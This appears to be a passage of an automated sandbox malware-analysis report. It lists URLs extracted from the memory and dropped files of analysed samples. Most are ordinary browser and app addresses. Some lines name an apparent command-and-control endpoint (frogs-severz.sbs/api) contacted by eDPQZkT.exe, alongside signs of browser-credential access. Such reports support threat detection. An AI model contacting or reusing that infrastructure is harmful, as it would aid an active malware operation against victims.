Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_476.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_476.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_476.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_476.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs//
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/0
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/api
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs:443/api
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs:443/apiN
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10q
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.9.dr, 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_476.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: IJEHIDHDAKJDHJKEBFIEHCAAEH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IJEHIDHDAKJDHJKEBFIEHCAAEH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJEHIDHDAKJDHJKEBFIEHCAAEH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, HJJJDAEG.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
